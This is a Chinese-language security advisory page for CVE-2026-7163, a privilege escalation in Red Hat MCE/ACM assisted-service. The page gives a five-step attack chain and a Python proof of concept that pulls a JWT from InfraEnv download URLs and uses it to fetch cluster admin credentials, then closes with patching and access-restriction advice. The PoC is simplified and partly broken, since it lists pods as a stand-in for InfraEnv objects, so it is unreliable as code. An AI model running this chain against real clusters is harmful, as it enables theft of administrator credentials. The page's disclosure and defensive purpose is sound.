IPBUF安全漏洞报告
English
CVE-2026-7163 CVSS 6.1 中危

CVE-2026-7163 Red Hat MCE/ACM 权限提升漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-7163
漏洞类型
权限提升
CVSS评分
6.1 中危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Red Hat Multicluster Engine (MCE), Red Hat Advanced Cluster Management (ACM)

相关标签

权限提升信息泄露KubernetesRed HatACMMCE认证绕过

漏洞概述

Red Hat Multicluster Engine (MCE) 和 Advanced Cluster Management (ACM) 的 assisted-service 组件存在权限提升漏洞。在本地部署模式下,拥有最小命名空间权限的认证用户,可利用嵌入在 InfraEnv 对象中的 JWT 令牌获取任意集群的管理员凭证。成功利用此漏洞可导致攻击者获得目标集群的完全 root 级管理访问权限,但不影响托管 SaaS 服务。

技术细节

该漏洞源于 assisted-service 组件在 AUTH_TYPE=local 模式下的认证逻辑缺陷。本地认证器未实施细粒度的端点权限检查,无条件授予任何携带有效 JWT 的请求完全管理员访问权限。核心问题在于,有效的本地 JWT 以明文查询参数的形式嵌入在 InfraEnvStatus.ISODownloadURL 字段中。任何对自己命名空间内 InfraEnv 对象拥有 get 权限的用户,均可读取该 URL 并提取 JWT。攻击者利用窃取的 JWT,可直接调用凭证下载端点(GET /v2/clusters/{cluster_id}/credentials)及 kubeconfig 下载接口,获取任意通过该 hub 置备的 OpenShift 集群的管理员凭证(kubeadmin 密码和 kubeconfig)。此利用过程绕过了标准的 RBAC 限制,将低权限用户提升为跨集群的超级管理员。

攻击链分析

STEP 1
信息收集
攻击者通过 API 访问自己拥有权限的命名空间,查询 InfraEnv 对象。
STEP 2
令牌窃取
读取 InfraEnvStatus.ISODownloadURL 字段,从 URL 查询参数中提取明文 JWT 令牌。
STEP 3
认证绕过
利用获取的 JWT 访问 assisted-service REST API。由于本地认证器不对端点权限做校验,JWT 被视为拥有完全管理员权限。
STEP 4
凭证获取
请求 GET /v2/clusters/{cluster_id}/credentials 接口,下载目标集群的 kubeadmin 密码和 kubeconfig 文件。
STEP 5
完全控制
使用获取到的管理员凭证登录受害的 OpenShift 集群,获得 root 级别的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests import re from kubernetes import client, config # Load kubeconfig for the local hub config.load_kube_config() v1 = client.CoreV1Api() # Step 1: List InfraEnv objects in accessible namespaces namespaces = [ns.metadata.name for ns in v1.list_namespace().items] found_jwt = None for ns in namespaces: # Assuming custom resource definition access, simplified here # In real scenario, use CustomObjectsApi to get InfraEnv infra_envs = v1.list_namespaced_pod(ns) # Placeholder for CR retrieval for env in infra_envs.items: # Check status for ISODownloadURL iso_url = env.metadata.annotations.get('assisted-service/ISODownloadURL') if iso_url and 'jwt=' in iso_url: # Step 2: Extract JWT from URL match = re.search(r'jwt=([^&]+)', iso_url) if match: found_jwt = match.group(1) print(f"[+] Found JWT in namespace {ns}") break if found_jwt: break if found_jwt: # Step 3: Use JWT to access admin credentials target_cluster_id = "target-cluster-id" # ID of cluster to attack headers = {"Authorization": f"Bearer {found_jwt}"} creds_url = f"https://assisted-service-url/v2/clusters/{target_cluster_id}/credentials" response = requests.get(creds_url, headers=headers, verify=False) if response.status_code == 200: print(f"[+] Success! Credentials: {response.text}") else: print(f"[-] Failed to get credentials: {response.status_code}") else: print("[-] No JWT found in accessible InfraEnv objects.")

影响范围

Red Hat Multicluster Engine 2.x (具体版本请参考 RHSA-2026:11511)
Red Hat Advanced Cluster Management 2.x (具体版本请参考 RHSA-2026:12337)

防御指南

临时缓解措施
建议立即应用 Red Hat 提供的安全更新补丁。在无法立即修补的情况下,应严格限制对 InfraEnv 对象的访问权限,确保只有受信任的管理员用户可以读取该资源,从而防止 JWT 泄露。同时,轮换所有受影响集群的 kubeadmin 凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表